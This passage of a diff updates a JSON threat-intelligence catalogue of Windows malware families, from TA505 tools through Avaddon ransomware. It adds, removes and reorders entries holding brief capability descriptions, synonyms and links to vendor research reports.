"https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://documents.trendmicro.com/assets/Tech-Brief-Latest-Spam-Campaigns-from-TA505-Now-Using-New-Malware-Tools-Gelup-and-FlowerPippi.pdf" ], "synonyms": [ @@ -12203,11 +12937,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anel", - "https://www.secureworks.com/research/threat-profiles/bronze-riverside", "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Haruyama.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/", "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/" + "https://www.secureworks.com/research/threat-profiles/bronze-riverside", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Haruyama.pdf" ], "synonyms": [ "UPPERCUT", @@ -12215,15 +12949,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "588b97ff-3434-4aa1-a5fd-815e1bb0178b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a180afcc-d42d-4600-b70f-af27aaf851b7", "value": "Anel" }, @@ -12260,10 +12985,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis", - "https://cybleinc.com/2021/05/02/mobile-malware-app-anubis-strikes-again-continues-to-lure-users-disguised-as-a-fake-antivirus/", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://therecord.media/russian-hacker-pavel-sitnikov-arrested-for-sharing-malware-source-code/", - "https://twitter.com/MsftSecIntel/status/1298752223321546754" + "https://twitter.com/MsftSecIntel/status/1298752223321546754", + "https://cybleinc.com/2021/05/02/mobile-malware-app-anubis-strikes-again-continues-to-lure-users-disguised-as-a-fake-antivirus/", + "https://therecord.media/russian-hacker-pavel-sitnikov-arrested-for-sharing-malware-source-code/" ], "synonyms": [ "Anubis Stealer" @@ -12279,10 +13004,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.anubis_loader", "https://www.zerofox.com/blog/meet-kraken-a-new-golang-botnet-in-development/", + "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e", "https://www.zerofox.com/blog/quick-update-kraken-completes-its-rebrand-to-anubis/", - "https://windowsreport.com/kraken-botnet/", "https://www.bleepingcomputer.com/news/security/new-golang-botnet-empties-windows-users-cryptocurrency-wallets/", - "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e" + "https://windowsreport.com/kraken-botnet/" ], "synonyms": [ "Kraken", @@ -12293,6 +13018,19 @@ "uuid": "e65ca164-f448-4f8e-a672-3ff7ec37e191", "value": "Anubis Loader" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aperetif", + "https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "573eb306-f6c7-4ba9-91a9-881473d335b8", + "value": "APERETIF" + }, { "description": "", "meta": { @@ -12319,16 +13057,30 @@ "uuid": "e87d9df4-b464-4458-ae1f-31cea40d5f96", "value": "Apocalypse" }, + { + "description": "This is an implant usable with the Mythic C2 framework. Apollo is a Windows agent written in C# using the 4.0 .NET Framework designed to be used in SpecterOps training offerings.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.apollo", + "https://github.com/MythicAgents/Apollo" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f995662c-27ad-440b-97ce-f1ecd2b59221", + "value": "Apollo" + }, { "description": "Malware used by suspected Iranian threat actor Agrius, turned from wiper into ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.apostle", - "https://www.sentinelone.com/labs/new-version-of-apostle-ransomware-reemerges-in-targeted-attack-on-higher-education/", - "https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/", + "https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/", + "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf", "https://assets.sentinelone.com/sentinellabs/evol-agrius", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf" + "https://www.sentinelone.com/labs/new-version-of-apostle-ransomware-reemerges-in-targeted-attack-on-higher-education/", + "https://cyberpunkleigh.wordpress.com/2021/05/27/apostle-ransomware-analysis/" ], "synonyms": [], "type": [] @@ -12341,17 +13093,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", - "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", - "https://www.telsy.com/download/5394/?uid=28b0a4577e", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", - "https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html", + "https://blog.sekoia.io/the-dprk-delicate-sound-of-cyber/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", + "https://www.telsy.com/download/5394/?uid=28b0a4577e", + "https://www.vkremez.com/2019/10/lets-learn-dissecting-lazarus-windows.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "https://twitter.com/VK_Intel/status/1182730637016481793" ], "synonyms": [], @@ -12365,22 +13120,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed", - "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", - "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", - "https://www.youtube.com/watch?v=Dv2_DK3tRgI", - "https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf", - "https://www.telsy.com/download/5654/?uid=4869868efd", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", - "https://www.youtube.com/watch?v=rfzmHjZX70s", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", - "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf", - "https://asec.ahnlab.com/en/30532/", + "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", + "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2652.pdf", + "https://www.youtube.com/watch?v=rfzmHjZX70s", + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", "https://asec.ahnlab.com/ko/26705/", - "https://asec.ahnlab.com/ko/36918/" + "https://asec.ahnlab.com/en/36368/", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2651&attach_file_id=EpF2651.pdf", + "https://www.telsy.com/download/5654/?uid=4869868efd", + "https://asec.ahnlab.com/en/30532/", + "https://asec.ahnlab.com/ko/36918/", + "https://asec.ahnlab.com/en/41015/", + "https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.youtube.com/watch?v=Dv2_DK3tRgI" ], "synonyms": [ "JamBog" @@ -12395,8 +13152,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax", - "https://medium.com/@MalFuzzer/dissecting-ardamax-keylogger-f33f922d2576", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf" + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://medium.com/@MalFuzzer/dissecting-ardamax-keylogger-f33f922d2576" ], "synonyms": [], "type": [] @@ -12431,12 +13188,30 @@ "uuid": "a711ad02-0120-41a1-8c03-8a857a7dc297", "value": "Ares (Windows)" }, + { + "description": "AresLoader is a new malware \"downloader\" that has been advertised on some Russian language Dark Web forums “RAMP and \"XSS\" by a threat actor called \"DarkBLUP\". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed “Project Ares,” was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer “CerberSec.”\r\n\r\nThe loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:\r\n\r\n1. Written in C/C++\r\n2. Supports 64-bit payloads\r\n3. Makes it look like malware spawned by another process\r\n4. Prevents non-Microsoft signed binaries from being injected into malware\r\n5. Hides suspicious imported Windows APIs\r\n6. Leverages anti-analysis techniques to avoid reverse engineering\r\n\r\nFurthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aresloader", + "https://intel471.com/blog/new-loader-on-the-bloc-aresloader", + "https://research.openanalysis.net/ares/aresloader/loader/2023/04/02/aresloader.html", + "https://flashpoint.io/blog/private-malware-for-sale-aresloader/", + "https://twitter.com/k3dg3/status/1636873721200746496", + "https://www.zerofox.com/blog/the-underground-economist-volume-2-issue-24/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1bd6c2ab-341e-43e1-90ca-2e7509828268", + "value": "AresLoader" + }, { "description": "During a campaign against a Ukrainian energy provider, a new loader of a new version of CaddyWiper called \"ArguePatch\" was observed by ESET researchers. ArguePatch is a modified version of Hex-Ray's Remote Debugger Server (win32_remote.exe).\r\nArguePatch expects a decryption key and the file of the CaddyWiper shellcode as command line parameters.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arguepatch", - "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/" + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", + "https://www.mandiant.com/resources/blog/gru-rise-telegram-minions" ], "synonyms": [], "type": [] @@ -12450,9 +13225,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody", "https://medium.com/insomniacs/aria-body-loader-is-that-you-53bdd630f8a1", + "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "https://securelist.com/it-threat-evolution-q2-2020/98230", - "https://securelist.com/naikons-aria/96899/", - "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/" + "https://securelist.com/naikons-aria/96899/" ], "synonyms": [], "type": [] @@ -12466,6 +13241,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aridgopher", "https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks", "https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/" ], "synonyms": [], @@ -12507,14 +13283,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer", - "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", + "https://isc.sans.edu/diary/rss/28468", + "https://ke-la.com/information-stealers-a-new-landscape/", "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://blog.minerva-labs.com/a-long-list-of-arkei-stealers-browser-crypto-wallets", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://threatmon.io/arkei-stealer-analysis-threatmon/", "https://forensicitguy.github.io/analyzing-stealer-msi-using-msitools/", "https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/", - "https://ke-la.com/information-stealers-a-new-landscape/", - "https://isc.sans.edu/diary/rss/28468" + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", + "https://blog.minerva-labs.com/a-long-list-of-arkei-stealers-browser-crypto-wallets", + "https://drive.google.com/file/d/1wTH-BZrjxEBZwCnXJ3pQWGB7ou0IoBEr/view" ], "synonyms": [ "ArkeiStealer" @@ -12524,13 +13304,26 @@ "uuid": "59eff508-7f26-4fd8-b526-5772a9f3d9a6", "value": "Arkei Stealer" }, + { + "description": "It is available as a service, purchasable by anyone to use in their own campaigns. It’s features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.arrowrat", + "https://www.arrowrat.com" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3d5608dc-1e0d-40cb-8a17-3a8d7efb1c53", + "value": "ArrowRAT" + }, { "description": "ARS Loader, also known as ARS VBS Loader, is written in Visual Basic Script and its main purpose is to control an infected machine via different available commands, acting as a remote access trojan (RAT). Its code is based on ASPC, another Visual Basic Script malware, which at the same time seems to be based on SafeLoader.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader", - "https://twitter.com/Racco42/status/1001374490339790849", "https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/", + "https://twitter.com/Racco42/status/1001374490339790849", "https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/" ], "synonyms": [], @@ -12558,13 +13351,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra", - "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", - "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english", "https://www.freebuf.com/articles/database/192726.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", - "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/" + "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", + "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english", + "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/", + "https://securelist.com/apt-trends-report-q1-2021/101967/" ], "synonyms": [], "type": [] @@ -12615,8 +13408,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox", "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign", - "https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/", - "http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/" + "http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/", + "https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/" ], "synonyms": [ "Aseljo", @@ -12632,8 +13425,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asruex", - "https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/asruex-backdoor-variant-infects-word-documents-and-pdfs-through-old-ms-office-and-adobe-vulnerabilities/" ], "synonyms": [], "type": [] @@ -12646,21 +13439,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", - "https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/", - "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", - "https://blog.easysol.net/meet-lucifer-international-trojan/", - "https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/", - "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/", - "https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/", "https://blog.talosintelligence.com/2020/05/astaroth-analysis.html", - "https://isc.sans.edu/diary/27482", - "https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt", "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", - "https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/" + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", + "https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/", + "https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/", + "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/", + "https://isc.sans.edu/diary/Brazil+malspam+pushes+Astaroth+%28Guildma%29+malware/28962", + "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/", + "https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt", + "https://blog.easysol.net/meet-lucifer-international-trojan/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://isc.sans.edu/diary/27482", + "https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/" ], "synonyms": [ "Guildma" @@ -12675,10 +13468,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker", - 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"https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf", "https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf" ], "synonyms": [], @@ -12858,14 +13664,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo", "https://chuongdong.com//reverse%20engineering/2021/10/13/AtomSiloRansomware/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", - "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", - "https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/", "https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/", - "https://twitter.com/siri_urz/status/1437664046556274694?s=20", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", "https://www.zscaler.com/blogs/security-research/atomsilo-ransomware-enters-league-double-extortion", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/", + "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://twitter.com/siri_urz/status/1437664046556274694?s=20" ], "synonyms": [], "type": [] @@ -12878,11 +13684,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.attor", - "https://www.unian.ua/science/10717107-mizhnarodna-it-kompaniya-poperedzhaye-pro-nizku-shpigunskih-atak-na-uryadovi-ta-diplomatichni-ustanovi-shidnoji-yevropi.html", + "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "https://threatpost.com/sophisticated-spy-kit-russians-gsm-plugin/149095/", + "https://www.unian.ua/science/10717107-mizhnarodna-it-kompaniya-poperedzhaye-pro-nizku-shpigunskih-atak-na-uryadovi-ta-diplomatichni-ustanovi-shidnoji-yevropi.html", + "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", "https://safe.cnews.ru/news/top/2019-10-11_za_rossijskimi_diplomatami", "https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform", - "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "https://www.welivesecurity.com/2019/10/10/eset-discovers-attor-spy-platform/", "https://www.zdnet.com/article/new-espionage-malware-found-targeting-russian-speaking-users-in-eastern-europe/" ], @@ -12906,6 +13714,21 @@ "uuid": "2ee0122a-701d-487d-9ac1-7d91e4f99d78", "value": "August Stealer" }, + { + "description": "According to Sophos, the AuKill tool abuses an outdated version of the driver used by version 16.32 of the Microsoft utility, Process Explorer, to disable EDR processes before deploying either a backdoor or ransomware on the target system.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill", + "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/" + ], + "synonyms": [ + "SophosKill" + ], + "type": [] + }, + "uuid": "07bd266b-811a-4abe-83b3-471918d6fab4", + "value": "AuKill" + }, { "description": "", "meta": { @@ -12918,15 +13741,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "316c87d4-4404-42ab-9887-f9e321aed93c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e3065e43-503b-4496-921b-7601dd3d6abd", "value": "Auriga" }, @@ -12935,71 +13749,83 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora", - "https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/", + "https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/", "https://twitter.com/malwrhunterteam/status/1001461507513880576", - "https://www.bleepingcomputer.com/ransomware/decryptor/how-to-decrypt-the-aurora-ransomware-with-auroradecrypter/" + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/", + "https://blog.morphisec.com/in2al5d-p3in4er" ], "synonyms": [ "OneKeyLocker" ], "type": [] }, - "related": [ - { - "dest-uuid": "70c31066-237a-11e8-8eff-37ef1ad0c703", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "2f899e3e-1a46-43ea-8e68-140603ce943d", "value": "Aurora" }, + { + "description": "First advertised as a Malware-as-a-Service (MaaS) on Russian-speaking underground forums in April 2022, Aurora Stealer is a Golang-based information stealer with downloading and remote access capabilities. The malware targets data from multiple browsers, cryptocurrency wallets, local systems, and act as a loader. During execution, the malware runs several commands through WMIC to collect basic host information, snaps a desktop image, and exfiltrates data to the C2 server within a single base64-encoded JSON file.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora_stealer", + "https://d01a.github.io/aurora-stealer/", + "https://research.loginsoft.com/threat-research/aurora-the-dark-dawn-and-its-menacing-effects/", + "https://research.openanalysis.net/in2al5dp3in4er/loader/analysis/sandbox/invalid%20printer/2023/04/23/in2al5dp3in4er.html", + "https://d01a.github.io/aurora-stealer-builder/", + "https://isc.sans.edu/diary/rss/29448", + "https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/", + "https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ac697773-7239-4f01-b4b3-7da8b2a64bdf", + "value": "Aurora Stealer" + }, { "description": "Avaddon is a ransomware malware targeting Windows systems often spread via malicious spam. The first known attack where Avaddon ransomware was distributed was in February 2020. Avaddon encrypts files using the extension .avdn and uses a TOR payment site for the ransom payment.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon", - "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", - "https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.connectwise.com/resources/avaddon-profile", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://twitter.com/Securityinbits/status/1271065316903120902", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted", + "https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://therecord.media/avaddon-ransomware-operation-shuts-down-and-releases-decryption-keys/", 